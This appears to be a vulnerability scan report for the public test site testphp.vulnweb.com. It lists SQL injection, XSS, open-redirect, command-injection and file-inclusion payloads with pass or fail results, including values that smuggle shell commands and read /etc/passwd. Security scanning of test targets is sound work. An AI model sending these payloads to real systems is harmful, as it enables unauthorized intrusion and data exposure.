Web Vulnerability Scan Report for http://testphp.vulnweb.com/listproducts.php?cat=1

SQL_INJECTION:

Payload: ' OR '1'='1, Vulnerable: True

Payload: ' OR '1'='1' --, Vulnerable: True

Payload: ' OR 1=1 --, Vulnerable: True

Payload: ' OR '1'='1' #, Vulnerable: True

Payload: ' OR 1=1;--, Vulnerable: True

XSS:

Payload: <script>alert('XSS')</script>, Vulnerable: False

Payload: <img src=x onerror=alert('XSS')>, Vulnerable: False

Payload: <svg/onload=alert('XSS')>, Vulnerable: False

Payload: '><script>alert(1)</script>, Vulnerable: False

CSRF:

{'vulnerable': False}

OPEN_REDIRECT:

Payload: /redirect?url=http://malicious.com, Vulnerable: False

Payload: /?next=http://malicious.com, Vulnerable: False

Payload: /?redirect=http://malicious.com, Vulnerable: False

SECURITY_HEADERS:

{'missing_headers': ['Content-Security-Policy', 'Strict-Transport-Security', 'X-Content-Type-Op

COMMAND_INJECTION:

Payload: ; ls, Vulnerable: False

Payload: && dir, Vulnerable: False

Payload: | whoami, Vulnerable: False

Payload: || echo vulnerable, Vulnerable: False

FILE_INCLUSION:

Payload: ../../../../etc/passwd, Vulnerable: False

Payload: file:///etc/passwd, Vulnerable: False

Payload: php://filter/convert.base64-encode/resource=index, Vulnerable: False

WEAK_PASSWORDS:

Payload: N/A, Vulnerable: False

Payload: N/A, Vulnerable: False

Payload: N/A, Vulnerable: False

Payload: N/A, Vulnerable: False